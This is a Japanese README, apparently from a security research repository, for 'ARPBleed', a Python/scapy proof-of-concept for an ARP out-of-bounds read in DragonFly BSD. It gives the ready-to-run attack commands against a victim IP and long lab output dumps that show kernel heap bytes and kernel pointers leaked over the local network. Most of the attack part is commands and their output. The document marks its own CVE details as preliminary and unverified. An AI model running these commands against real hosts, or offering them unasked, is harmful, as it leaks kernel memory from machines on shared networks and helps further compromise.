
Python/scapyによるCVE-2026-110912(ARPBleed)の概念実証。これはDragonFly BSDにおけるARPのar_hln/ar_plnの境界外読み取りであり、カーネルヒープおよびスタックメモリを漏洩させる。
ARPBleed 🩸
ARP パケット処理の脆弱性 | DragonFly BSD | セキュリティリサーチ
ARPBleed は、報告されている脆弱性 CVE-2026-110912 に付けられた名称であり、DragonFly BSD における Address Resolution Protocol (ARP) パケットの長さフィールドの不適切な処理に関するものです。
予備的な脆弱性の説明によると、不正な形式の ARP パケットが境界外メモリ読み取りを引き起こし、ネットワーク応答を通じてカーネルメモリの一部が漏洩する可能性があります。
重要: ここに示す脆弱性の詳細は予備的なものであり、確認済みと見なす前に、権威ある CVE レコードおよび公式ベンダーのアドバイザリと照合して検証する必要があります。
| 属性 | 詳細 |
|---|---|
| CVE ID | CVE-2026-110912 |
| 脆弱性名 | ARPBleed |
| 報告された製品 | DragonFly BSD |
| 脆弱性の種類 | 境界外読み取り |
| 関連 CWE | CWE-130 — 長さパラメータの不整合の不適切な処理 |
| 報告された攻撃ベクトル | 隣接ネットワーク |
| 認証要否 | 報告によれば不要 |
| 潜在的な影響 | カーネルメモリの漏洩 |
| 報告された CVSS スコア | 7.1 — 未検証 |
| 報告された影響を受けるバージョン | 6.4.2 まで — 未検証 |
| 修復 | 公式ベンダーのパッチを確認してください |
Address Resolution Protocol (ARP) は、IPv4 ネットワークにおいて IP アドレスをハードウェアアドレス(通常は MAC アドレス)に解決するために使用されます。
ホストがローカルネットワーク上の別のデバイスと通信する必要がある場合、ARP リクエストをブロードキャストすることがあります。対応する IP アドレスを持つデバイスは、自身のハードウェアアドレスを含む ARP 応答を返すことができます。
CVE-2026-110912-ARPBleed.py - 単一ファイル、python3 + scapy および root(raw ソケット)が必要です。
sudo python3 CVE-2026-110912-ARPBleed.py <victim-ip> [<iface>] [--hln N] [--pln N]
# heap leak (ar_sha carries ar_hln-6 bytes past the MAC)
sudo python3 CVE-2026-110912-ARPBleed.py 10.170.0.10 eth0 --hln 200 --pln 4
# stack leak (ar_spa carries ar_pln-4 bytes past &taddr)
sudo python3 CVE-2026-110912-ARPBleed.py 10.170.0.10 eth0 --hln 6 --pln 200
# sanity: a legal ARP, expect a clean reply and no leak
sudo python3 CVE-2026-110912-ARPBleed.py 10.170.0.10 eth0 --hln 6 --pln 4
# maximum single-packet leak
sudo python3 CVE-2026-110912-ARPBleed.py 10.170.0.10 eth0 --hln 255 --pln 255
リークされた ar_sha 領域の最初の 6 バイトは被害者の実際の MAC であり、ar_spa の最初の 4 バイトは被害者の IP です。それ以降はすべて範囲外のカーネルメモリです。リークを捕捉した場合は終了コード 0、応答がない場合(修正済みカーネルの挙動)は 2 で終了します。
被害者: DragonFly 6.4.2-RELEASE(標準インストール、QEMU virtio-net)、10.170.0.10。攻撃者: Kali、scapy 2.7.01、10.170.0.2、同一 L2 セグメント。
=== arpbleed - CVE-2026-110912 ARP ar_hln/ar_pln OOB-read PoC ===
[*] iface=eth0 attacker-mac=52:54:00:19:26:9a victim=10.170.0.10
[*] ar_hln=6 ar_pln=4 arp_body=28 frame=42
[*] crafted ARP REQUEST sent; waiting for reply...
[+] captured ARP REPLY: 42 bytes (reply ar_hln=6 ar_pln=4)
[*] reply ether-src = 52:54:00:df:04:94 (victim interface MAC)
[#####] HEAP LEAK (ar_sha, 0 OOB bytes past 6-byte IF_LLADDR) [#####]
---- reply ar_sha [memcpy(ar_sha, IF_LLADDR, ar_hln)] (6 bytes; bytes [6..5] are the OOB leak) ----
0000: 52 54 00 df 04 94 |RT....|
[#####] STACK LEAK (ar_spa, 0 OOB bytes past 4-byte &taddr) [#####]
---- reply ar_spa [memcpy(ar_spa, &taddr, ar_pln)] (4 bytes; bytes [4..3] are the OOB leak) ----
0000: 0a aa 00 0a |....|
[*] reply ar_tha echoes attacker MAC + filler: True
[+] legal ARP answered normally - no leak bytes (sanity)
# rc=0
=== arpbleed - CVE-2026-110912 ARP ar_hln/ar_pln OOB-read PoC ===
[*] iface=eth0 attacker-mac=52:54:00:19:26:9a victim=10.170.0.10
[*] ar_hln=200 ar_pln=4 arp_body=416 frame=430
[*] crafted ARP REQUEST sent; waiting for reply...
[+] captured ARP REPLY: 430 bytes (reply ar_hln=200 ar_pln=4)
[*] reply ether-src = 52:54:00:df:04:94 (victim interface MAC)
[#####] HEAP LEAK (ar_sha, 194 OOB bytes past 6-byte IF_LLADDR) [#####]
---- reply ar_sha [memcpy(ar_sha, IF_LLADDR, ar_hln)] (200 bytes; bytes [6..199] are the OOB leak) ----
0000: 52 54 00 df 04 94 00 00 00 00 00 00 00 00 00 00 |RT..............|
0010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
0020: 00 00 00 00 00 00 00 00 00 00 0e 00 00 00 00 00 |................|
0030: 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 |................|
0040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
0050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
0060: 00 00 10 12 2a 46 00 f8 ff ff 00 00 00 00 00 00 |....*F..........|
0070: 00 00 48 12 2a 46 00 f8 ff ff 00 00 00 00 00 00 |..H.*F..........|
0080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
0090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00c0: 00 00 00 00 00 00 00 00 |........|
-- kernel pointers in heap leak: 7 --
heap + 38 (abs 44): 0xffff000000000000
heap + 39 (abs 45): 0xffffff0000000000
heap + 40 (abs 46): 0xffffffff00000000
heap + 41 (abs 47): 0xffffffffff000000
heap + 42 (abs 48): 0xffffffffffff0000
heap + 92 (abs 98): 0xfffff800462a1210
heap +108 (abs 114): 0xfffff800462a1248
[#####] STACK LEAK (ar_spa, 0 OOB bytes past 4-byte &taddr) [#####]
---- reply ar_spa [memcpy(ar_spa, &taddr, ar_pln)] (4 bytes; bytes [4..3] are the OOB leak) ----
0000: 0a aa 00 0a |....|
[*] reply ar_tha echoes attacker MAC + filler: True
[+] arpbleed REPRODUCED (remote): 194 heap OOB bytes + 0 stack OOB bytes; kernel pointers: 7 heap / 0 stack
# rc=0
=== arpbleed - CVE-2026-110912 ARP ar_hln/ar_pln OOB-read PoC ===
[*] iface=eth0 attacker-mac=52:54:00:19:26:9a victim=10.170.0.10
[*] ar_hln=6 ar_pln=200 arp_body=420 frame=434
[*] crafted ARP REQUEST sent; waiting for reply...
[+] captured ARP REPLY: 434 bytes (reply ar_hln=6 ar_pln=200)
[*] reply ether-src = 52:54:00:df:04:94 (victim interface MAC)
[#####] HEAP LEAK (ar_sha, 0 OOB bytes past 6-byte IF_LLADDR) [#####]
---- reply ar_sha [memcpy(ar_sha, IF_LLADDR, ar_hln)] (6 bytes; bytes [6..5] are the OOB leak) ----
0000: 52 54 00 df 04 94 |RT....|